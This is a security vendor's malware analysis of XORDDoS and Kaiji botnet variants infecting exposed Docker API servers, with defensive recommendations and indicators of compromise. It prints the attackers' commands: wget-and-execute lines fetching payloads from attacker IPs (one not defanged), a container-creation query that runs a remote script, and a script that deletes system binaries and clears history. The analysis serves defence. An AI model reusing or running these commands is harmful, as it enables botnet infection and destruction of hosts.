XORDDoS, Kaiji Variants Target Exposed Docker Servers

By Augusto Remillano II, Patrick Noel Collado, Karen Ivy Titiwa (words)

Published: 2020-06-22 · Archived: 2026-04-05 22:21:12 UTC

We have recently detected variants of two existing Linux botnet malware types targeting exposed Docker servers; these are XORDDoS malware (detected by Trend Micro as Backdoor.Linux.XORDDOS.AE) and Kaiji DDoS malware (detected by Trend Micro as DDoS.Linux.KAIJI.A).

Having Docker servers as their target is a new development for both XORDDoS and Kaiji; XORDDoS was known for targeting Linux hosts on cloud systems, while recently discovered Kaiji was first reportedopen on a new tab to affect internet of things (IoT) devices. Attackers usually used botnets to perform brute-force attacks after scanning for open Secure Shell (SSH) and Telnet ports. Now, they also searched for Docker servers with exposed ports (2375). Port 2375, one of the two ports Docker API uses, is for unencrypted and unauthenticated communicationopen on a new tab.

There is, however, a notable difference between the two malware variants' method of attack. While the XORDDoS attack infiltrated the Docker server to infect all the containers hosted on it, the Kaiji attack deploys its own container that will house its DDoS malware.

These malware variants facilitate distributed denial of service (DDoS), a type of attack designed to disable, disrupt, or shut down a network, website, or service. This is done by using multiple systems to overwhelm the target system with traffic until it becomes inaccessible to other users.

Analysis of XORDDoS malware

The XORDDoS infection started with the attackers searching for hosts with exposed Docker API ports (2375). They then sent a command that listed the containers hosted on the Docker server. Afterwards, the attackers executed the following sequence of commands to all containers, infecting all of them with the XORDDoS malware:

> wget hxxp://122[.]51[.]133[.]49:10086/VIP –O VIP

> chmod 777 VIP

> ./VIP

The XORDDoS payload (detected by Trend Micro as Backdoor.Linux.XORDDOS.AE) still used the XOR-key it used in other recorded attacks, BB2FA36AAA9541F0, to encrypt its strings and to communicate with the command and control (C&C) server. It also created multiple copies of itself inside the machine as a persistence mechanism.

```
CreateDir(&v58);
CreateDir(&v57);
CreateDir(&v56);
CreateDir(&v52);
CreateDir(&v55);
randstr(&v60, 10);
snprintf(&v48, 1024, "%s%s", &v58, &v60);
snprintf(&v47, 1024, "%s%s", &v57, &v60);
snprintf(&v46, 1024, "%s%s", &v56, &v60);
get_self(&v49, 1024);
copyfile(&v49, &v53);
if ( copyfile(&v49, &v48) )
{
  randmd5(&v48);
  LinuxExec(&v48);
}
else if ( copyfile(&v49, &v47) )
{
  randmd5(&v47);
  LinuxExec(&v47);
}
else if ( copyfile(&v49, &v46) )
{
  randmd5(&v46);
  LinuxExec(&v46);
```

Figure 1. Code snippet showing XORDDoS creating multiple copies of itself

The payload initiated SYN, ACK, and DNS types of DDoS attacks.

```
if ( v4 == 5 )
{
  *(_DWORD *)(v2 + 8) = build_syn(a2);
}
else if ( v4 == 0xA )
{
  *(_DWORD *)(v2 + 8) = build_ack(a2);
}
else
{
  if ( v4 != 4 )
  {
    *(_DWORD *)(v2 + 8) = 0;
    return free(v2);
  }
  *(_DWORD *)(v2 + 8) = build_dns(a2);
}
```

Figure 2. Code snippet showing the types of DDoS attack that XORDDoS can launch

It is also capable of downloading and executing a follow-up malware, or updating itself.

```
else if ( a4 == 6 )
{
  v17 = strdup(v20);
  pthread_create((int)&v21, 0, (int)downfile, v17);
}
else if ( a4 == 7 )
{
  v11 = strdup(v20);
  pthread_create((int)&v21, 0, (int)updatefile, v11);
}
```

Figure 3. Code snippet showing XORDDoS' capability to download and update files.

It gathered the following data, which are relevant to its attempt to initiate a DDoS attack:

- CPU Information
- MD5 of Running Process
- Memory Information
- Network Speed
- PID of Running Process

It should be noted that most of the behaviors exhibited by this particular XORDDoS variant have already been observed in earlier variants of the malware.

Upon further investigation of the URL linked to the attacker, we found other malware such as Backdoor.Linux.DOFLOO.AB, a variant of Dofloo/AESDDoS Linux botnet malware that we witnessed targeting exposed Docker APIs previously.

Analysis of Kaiji malware

Similar with the XORDDoS malware, Kaiji is now also targeting exposed Docker servers for propagation. Its operator also scanned the internet for hosts with exposed port 2375. After finding a target, they pinged the Docker server before deploying a rogue ARM container that executed the Kaiji binary.

The script 123.sh (detected by Trend Micro as Trojan.SH.KAIJI.A) downloaded and executed the malware payload, linux_arm (detected by Trend Micro as DDoS.Linux.KAIJI.A). Afterwards, the script also removed other Linux binaries that are basic components of the operating system but are not necessary for its DDoS operation.

```
{"Hostname":"","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":
[],"Cmd":["/bin/bash","-c","apt-get install wget -y;wget http://62.171.160.189/11/123.sh;bash 123.sh;while true;do echo hello world;sleep
1;done"],"Image":"registry.decima.frontier.com:5000/docker_arm32_s_decima","Volumes":{},"WorkingDir":"","Entrypoint":null,"OnBuild":null,"Labels":{},"HostCon
fig":{"Binds":null,"ContainerIDFile":"","LogConfig":{"Type":"","Config":{}},"NetworkMode":"default","PortBindings":{},"RestartPolicy":{"Name":"no","MaximumRe
```

Figure 4. Query that downloads and executes 123.sh

```
wget http://62.171.160.189/linux_arm;
chmod +x linux_arm;
./linux_arm;
rm -rf linux*;
history -c
cd /usr/bin;
rm -rf whoami yes x86_64 perl touch apt* du head find last du stat who whami wget curl;
cd /bin/;
rm -rf mv ps sleep touch ss mkdir dd cat chmod dir ip su  sed ping* ls cp login sh sed rm rmdir gzip echo date ls dir pwd rm tar sh
history -c
```

Figure 5. Code snippet showing the removal of Linux binaries

The payload linux_arm, which is the Kaiji DDoS malware, initiated the following DDoS attacks:

- ACK attack
- IPS spoof attack
- SSH attack
- SYN attack
- SYNACK attack
- TCP flood attack
- UDP flood attack

This malware also gathered the following data, which it can use for the aforementioned attacks:

- CPU Information
- Directories
- Domain Name
- Host IP address
- PID of Running Process
- URL scheme

Defending Docker servers

As seen in these findings, threat actors behind malware variants constantly upgrade their creations with new capabilities so that they can deploy their attacks against other entry points. As they are relatively convenient to deploy in the cloud, Docker servers are becoming an increasingly popular option for companies. However, these also make them an attractive target for cybercriminals who are on the constant lookout for systems that they can exploit.

These are some recommendations for securing Docker serversnews article:

- Secure the container host. Take advantage of monitoring tools, and host containers in a container-focused OS.
- Secure the networking environment. Use intrusion prevention system (IPS) and web filtering to provide visibility and observe internal and external traffic.
- Secure the management stack. Monitor and secure the container registry and lock down the Kubernetes installation.
- Secure the build pipeline. Implement a thorough and consistent access control scheme and install strong endpoint controls.
- Adhere to the recommended best practicesopen on a new tab.
- Use security tools to scan and secure containers.

Security solutions are recommended for safeguarding Docker servers. Trend Micro™ Hybrid Cloud Securityproducts is recommended for automated security and protection for physical, virtual, and cloud workloads. This solution encompasses the following:

- Trend Micro Cloud One™products– for comprehensive visibility and protection against threats
- Trend Micro Cloud One - Container Securityproducts– for automated container image and registry scanning that helps detect threats early on

- Trend Micro Cloud One – Workload Securityproducts – for protecting new and existing workloads against even unknown threats using techniques such as machine learning and virtual patching
- For security as software: Trend Micro Deep Security™ Softwareproducts (workload and container security) and Trend Micro Deep Security Smart Check (container image security)products for scanning container images and preventing further compromise

Indicators of Compromise

Kaiji

File name	SHA 256	Trend Micro pattern detection
123.sh	9301d983e9d8fad3cc205ad67746cd111024daeb4f597a77934c7cfc1328c3d8	Trojan.SH.KAIJI.A
linux_arm	d315b83e772dfddbd2783f016c38f021225745eb43c06bbdfd92364f68fa4c56	DDoS.Linux.KAIJI.A

Related URLs:

- hxxp://62[.]171[.]160[.]189/linux_arm
- hxxp://62[.]171[.]160[.]189/11/123.sh

XORDDoS and other malware variants found through the same URL

Related URL:

- hxxp://122[.]51[.]133[.]49:10086/VIP
